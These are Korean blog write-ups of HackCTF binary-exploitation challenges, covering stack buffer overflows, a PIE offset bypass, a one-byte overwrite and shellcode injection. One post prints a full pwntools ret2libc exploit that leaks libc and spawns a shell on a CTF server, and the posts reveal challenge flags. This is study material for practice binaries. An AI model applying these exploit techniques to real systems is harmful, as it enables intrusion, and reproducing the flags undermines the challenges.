예 또는 아니요 문제다. ㅇㅂㅇ 실행해보고 ida로 열어보자.

 

if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
    {
      puts("That's cool. Follow me");
      gets(&s);
    }

이 부분 gets(&s); 에서 BOF가 터지는 것 같다.

앞부분 if 문들을 지나서 gets()까지 가보자.

 

gets() 전 puts()에 들어갈 문자열도 확인할 수 있다.

 

두 번째 사각형의 if에서 거짓을 만들어서 gets()로 가야 한다. 

먼저, 첫 번째 사각형을 먼저 보자.

 

1. atoi() 는 char -> int 형으로 바꿔주는 함수이다.

2. 두 번째 사각형에서 v4는 0이기 때문에 첫 번째 입력에서 숫자만 입력해주면 우회 가능하다.

3. gdb에서 v10을 확인하자.

 

두 번째 사각형 바로 뒤쯤 bp를 걸어주고 실행하자.

 

v10의 값이 RAX에 들어가있는걸 확인할 수 있다.

 

사각형 내부에는 v10 = 0x960000이기 때문에 첫 번째 입력에서 9830400을 입력해주면 두 번째 입력까지 우회 가능하다.

 


1. system함수 주소와 /bin/sh문자열, 가젯을 구해야한다.

2. 프로그램 내부에 없는 것들을 구하기 위해선 libc 파일에서 offset으로 구해준다.

3. aslr이 걸려있으므로 libc base leak을 통해 libc base 주소를 구한다.

4. libc base를 구하면 거의 모든 함수의 주소를 구할 수 있게 된다.


가젯 추출을 하자.

$ ROPgadget --binary yes_or_no

rdi = 첫 번째 인자

 - prr = 0x400883

 - ret = 0x40056e

 

libc base addr = 함수 실제주소 - libc상의 함수 주소

system addr = libc base + libc상의 system주소

 

이제 익스 코드를 작성해보자.

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3009)
#r = process("./yes_or_no")
e = ELF("./yes_or_no")
lib = ELF("./libc-2.27.so")

ret = p64(0x40056e)
pr = p64(0x400883)

system_off = 0x4f440
puts_off = 0x809c0

puts_got = p64(e.got['puts'])
puts_plt = p64(e.plt['puts'])
main_addr = p64(e.symbols['main'])

r.recvuntil("Show me your number~!\n")
r.sendline("9830400")
r.recvuntil("That's cool. Follow me\n")

payload = b"A"*26
payload += pr
payload += puts_got
payload += puts_plt
payload += main_addr

r.sendline(payload)

puts_addr = r.recv(6)
puts_addr += b"\x00\x00"
puts_addr = u64(puts_addr)

libc_base = puts_addr - puts_off
system_addr = p64(libc_base + system_off)
binsh = p64(libc_base + list(lib.search(b"/bin/sh"))[0])

r.recvuntil("Show me your number~!\n")
r.sendline("9830400")
r.recvuntil("That's cool. Follow me\n")

payload = b"A"*26
payload += pr
payload += binsh
payload += ret
payload += system_addr


r.sendline(payload)
r.interactive()

실행해보자.

플래그는 HackCTF {4nd_4_P4 ssing_necklace_in_h1s_h4nd}이다.

'HackCTF > WriteUp' 카테고리의 다른 글

HackCTF - BOF_PIE [150]  (0) 2021.01.19
HackCTF - Offset [150]  (0) 2021.01.19
HackCTF - Simple_Overflow_ver_2 [150]  (0) 2021.01.19
HackCTF - x64 Simple_size_BOF [150]  (0) 2021.01.17
HackCTF - x64 Buffer Overflow [150]  (0) 2021.01.13

프로그램에 PIE 보호기법이 걸려있는 문제인 것 같다. 먼저, PIE에 대해 알아보자.

 

PIE (Position Independent Executable) : 위치 독립 실행파일, 실행할 때마다 매핑되는 주소가 어디든지 상관없이 실행되는 파일로 매핑되는 주소가 매번달라 바이너리의 주소를 랜덤화하여 바이너리의 특정 주소의 값을 수정하는 것과 같은 공격을 방어한다.

 

먼저, 코드를 확인해보자.

 

 

PIE 보호기법에 의해서 함수의 base 주소는 계속 바뀐다.

 

때문에 함수의 offset을 이용하면 될 것 같다.

 

먼저, welcome에서 ret위치를 구해보자.

 

입력받은 위치로부터 22byte에 ret주소가 존재한다.

 

이번엔 welcome과 j0n9hyun 함수의 offset을 구해보자.

 

welcome = 0x909

 

j0n9hyun = 0x890

 

0x909 - 0x890 = 0x79

 

그러면 프로그램을 실행할 때 마다 바뀌는 welcome주소를 가지고 -0x79 하면 j0n9hyun함수의 위치가 된다.

 

익스를 짜보자.

 

성공적으로 익스가 되었다.

 

플래그는 HackCTF{243699563792879976364976468837} 이다.

 

보호기법들에 대해 좀 더 공부가 필요한 것 같다.

'HackCTF > WriteUp' 카테고리의 다른 글

HackCTF - yes_or_no [150]  (0) 2021.03.30
HackCTF - Offset [150]  (0) 2021.01.19
HackCTF - Simple_Overflow_ver_2 [150]  (0) 2021.01.19
HackCTF - x64 Simple_size_BOF [150]  (0) 2021.01.17
HackCTF - x64 Buffer Overflow [150]  (0) 2021.01.13

홍ㅎ항ㅎ항항

 

오프셋 관련 문제인 것 같다. IDA로 코드를 확인해보자.

 

print_flag 함수가 존재한다. 이 함수와 select_func()를 활용하면 될 것 같다.

 

먼저, select_func 함수를 잘 보자.

 

[스택구조]

dest[42byte]  |  ???  |  v3[12byte]  |  ???  |  SFP[4byte]  |  RET[4byte]

 

이렇게 구성되어 있다. strncpy 함수를 보면 src의 31byte만큼 dest에 복사를 한다.

 

42 - 12 = 30 이다. 1byte만큼 더 복사를 할 수 있다.

 

v3에 1byte만큼 덮어씌는 것이 가능해진다.

 

그렇다면 이 1byte를 이용해서 v3를 print_flag주소로 바꿔야한다.

 

먼저, two함수의 주소와 print_flag함수의 주소를 알아보자.

 

two = 0x000006ad  -->  \xad\x06\x00\x00

 

print_flag = 0x000006d8  -->  \xd8\x06\x00\x00

 

코드를 봤을 때 아무거나 입력하면 기본적으로 two함수의 주소가 저장된다.

 

two 함수 주소에 앞부분 1byte만 \xd8로 덮어 씌우면 될 것 같다.

 

익스를 작성해보자.

 

성공적으로 익스가 됐다.

 

플래그는 HackCTF{76155655017129668567067265451379677609132507783606} 이다.

'HackCTF > WriteUp' 카테고리의 다른 글

HackCTF - yes_or_no [150]  (0) 2021.03.30
HackCTF - BOF_PIE [150]  (0) 2021.01.19
HackCTF - Simple_Overflow_ver_2 [150]  (0) 2021.01.19
HackCTF - x64 Simple_size_BOF [150]  (0) 2021.01.17
HackCTF - x64 Buffer Overflow [150]  (0) 2021.01.13

심플 오버플로우 문제다. IDA로 코드를 확인해보자.

 

buf의 메모리 주소를 출력하고 buf에 입력을 받는다. gets에서 BOF가 생긴다.

 

우분투에서 실행해보자.

 

buf 에 입력받을 때 쉘코드를 넣고 ret위치에 buf 주소를 넣고 실행하면 될 것 같다.

 

buf에서 ret까지의 거리를 구해보자.

 

0xffffd08c - 0xffffd000 = 8c (140)

 

shellcode + dummy + buf_addr 이런식으로 BOF하면 될 것 같다.

 

익스를 짜보자.

 

성공했다.

 

플래그는 HackCTF{y0u_d1d_7h3_45516nm3n7_5ucc355fully!} 이다.

'HackCTF > WriteUp' 카테고리의 다른 글

HackCTF - BOF_PIE [150]  (0) 2021.01.19
HackCTF - Offset [150]  (0) 2021.01.19
HackCTF - x64 Simple_size_BOF [150]  (0) 2021.01.17
HackCTF - x64 Buffer Overflow [150]  (0) 2021.01.13
HackCTF - 내 버퍼가 흘러넘친다!!! [150]  (0) 2020.12.22

x64 환경 BOF 문제이다. ida로 코드를 확인해보자.

 

buf의 주소를 출력해주고 buf의 입력을 받는다.

 

buf의 ret까지의 거리를 peda로 확인해보자.

 

실행을 해보면 buf의 주소와 입력을 받는다.

 

get 부분에 bp를 걸고 ret을 찾아보자.

 

ret_addr = 0x7ffff7a03bf7

입력받은 rsp+27952(6D30)를 확인해주면 +8byte 위치에 ret주소가 들어가있다.

 

쉘코드를 입력해주고 rsp+27960의 ret 위치에 buf의 주소를 넣으면 BOF가 될 것이다.

 

익스를 짜보자.

 

쉘코드는 64bit 쉘코드를 사용하였고, 계속해서 바뀌는 buf의 주소를 받아와 처리하였다.

 

 

플래그는 HackCTF{s000000_5m4ll_4nd_5m4ll_51z3_b0f} 이다.

'HackCTF > WriteUp' 카테고리의 다른 글

HackCTF - Offset [150]  (0) 2021.01.19
HackCTF - Simple_Overflow_ver_2 [150]  (0) 2021.01.19
HackCTF - x64 Buffer Overflow [150]  (0) 2021.01.13
HackCTF - 내 버퍼가 흘러넘친다!!! [150]  (0) 2020.12.22
HackCTF - Basic_BOF #2 [100]  (0) 2020.12.06

64비트 BOF 문제인 듯 하다. ida로 코드를 확인해보자.

 

저 함수를 실행하면 쉘이 따질 것이다. 해보자!

 

1. s 부터 ret까지의 거리는 0x120이다. 

 

2. callMeMaybe 주소(8byte)로 36번 도배하자.

 

익스를 짜보자.

 

성공적으로 익스가 되었다.

 

플래그는 HackCTF{64b17_b0f_15_51mpl3_700} 이다.

'HackCTF > WriteUp' 카테고리의 다른 글

HackCTF - Simple_Overflow_ver_2 [150]  (0) 2021.01.19
HackCTF - x64 Simple_size_BOF [150]  (0) 2021.01.17
HackCTF - 내 버퍼가 흘러넘친다!!! [150]  (0) 2020.12.22
HackCTF - Basic_BOF #2 [100]  (0) 2020.12.06
HackCTF - Basic_FSB [100]  (2) 2020.12.05

ㅇㅂㅇ

BOF 문제다. 파일을 다운받고 한번 실행해보자.

 

두 개의 입력을 받는다. IDA로 코드를 확인해보자.

 

s 변수는 main함수 내에 있고 name 변수는 보이지 않는다. 전역변수다.

 

name의 주소는 0x0804A060 이다.

 

이번엔 gdb로 prob1을 확인해보자.

 

음.. gets에 입력되는 부분에 bp를 걸고 어디에 입력되는지 확인해보자.

 

이렇게 두 개의 변수에 각각 AAAA와 AAAABBBBCCCCDDDD를 입력했다.

 

스택값을 확인해보자.

 

s 변수에는 0xffffd164 부터 입력이 됐다.

 

그런데 빨간 박스 부분을 보니 메인함수 ret 때 호출이 되는 주소인 것을 확인할 수 있었다.

 

그렇다면 s 변수에서 입력받을 때 0xffffd17c 에  쉘코드를 넣어 실행시켜주면 될 것 같다.

 

 

 


SCENARIO

 

1. 전역변수 name에 쉘코드를 입력해준다.

 

2. s를 입력할 때 overflow시켜 ret 주소에 name의 주소를 넣어준다.

 

 


 

 

이제 익스를 짜보자!

 

쉘코드는 다른 블로그에서 참고 하였다.

m.blog.naver.com/mathboy7/220215329450

 

쉘코드 모음

포너블 문제 풀때 여러모로 유용하게 사용되는 쉘코드들을 작성해서 모아봤습니다. 찾기 편하시라고.... 블...

blog.naver.com

 

실행을 해보자.

 

익스를 성공했다.

 

플래그는 HackCTF{1_l0v3_70p_pwn3r_m4lhyuk} 이다.

'HackCTF > WriteUp' 카테고리의 다른 글

HackCTF - Simple_Overflow_ver_2 [150]  (0) 2021.01.19
HackCTF - x64 Simple_size_BOF [150]  (0) 2021.01.17
HackCTF - x64 Buffer Overflow [150]  (0) 2021.01.13
HackCTF - Basic_BOF #2 [100]  (0) 2020.12.06
HackCTF - Basic_FSB [100]  (2) 2020.12.05

먼저 파일을 윈도우와 우분투에 받자. 그리고 IDA로 디스어셈해보자.

 

IDA

문제의 이름이 BOF인 만큼 fgets() 함수에서 입력받는 과정에서 버퍼 사이즈를 잘 못 지정해서 취약점이 발생한 것 같다.

 

fgets() 함수에 대해 알아보자.

 

fgets(char * str, int num, FILE * stream) 
 - 첫 번째 인자는 읽어들인 문자열을 저장할 char 배열을 가리키는 포인터이다.
 - 두 번재 인자는 마지막 NULL문자를 포함하여 읽어들일 최대 문자 수이다.
 - 세 번재 인자는 문자열을 읽어들일 스트림의 FILE 객체를 가리키는 포인터이다.
 - 리턴값은 성공했을 경우 char 배열을 리턴하고 아무런 문자가 없거나 오류가 발생했을 때는 NULL이 리턴된다.

 

 

shell()

shell() 함수가 존재한다. gdb로 좀 더 살펴보자.

 

빨간 네모박스를 잘 보자.

 

ebp-0xc 위치에 0x80484b4 가 들어간다. 그 다음 eax에 ebp-0xc 위치의 값이 들어간 뒤 call 된다.

 

그렇다면 ebp-0xc 위치에 shell 함수의 주소를 입력하면 call 에서 shell 함수가 호출될 것이다. 

 

해보자.

 

 

먼저, fgets로 입력된 값이 어느 위치에 들어가는지 알아보자.

 

fgets가 호출된 다음 부분에 bp를 걸고 실행해보자.

 

0xffffd0cc에 입력을 받는 것을 알았다.

 

두 번째로 ebp-0xc의 주소를 알아내보자.

 

$ebp address

$ebp의 주소에서 0xc를 빼주면 ebp-0xc의 주소인 0xffffd14c이 나온다.

 

세 번째로 0xffffd14c 주소에 넣을 shell 함수의 주소를 알아내 보자.

 

shell address

마지막으로 입력되는 주소에서 ebp-0xc의 거리를 계산해보자.

 

위의 네모박스는 입력받는 곳이고, 밑은 ebp-0xc의 자리이다.

 

0xffffd14c - 0xffffd0cc = 0x80

 

거리가 나왔다.

 

이젠 필요한 재료(?)들이 다 모였다. 익스를 짜보자.

 

exploit.py

입력받는 곳으로부터 A로 128byte를 채우면 ebp-0xc의 자리에 위치한다. 이 곳에 shell 함수의 주소를 넣는다.

 

128byte + 4byte = 132byte 이다. 위의 fgets 함수의 버퍼 사이즈를 넘지 않는다.

 

133byte

실행해보자.

 

flag

터졌다.

 

플래그는 HackCTF{h3y_dud3_600d_f0r_y0u} 이다.

+ Recent posts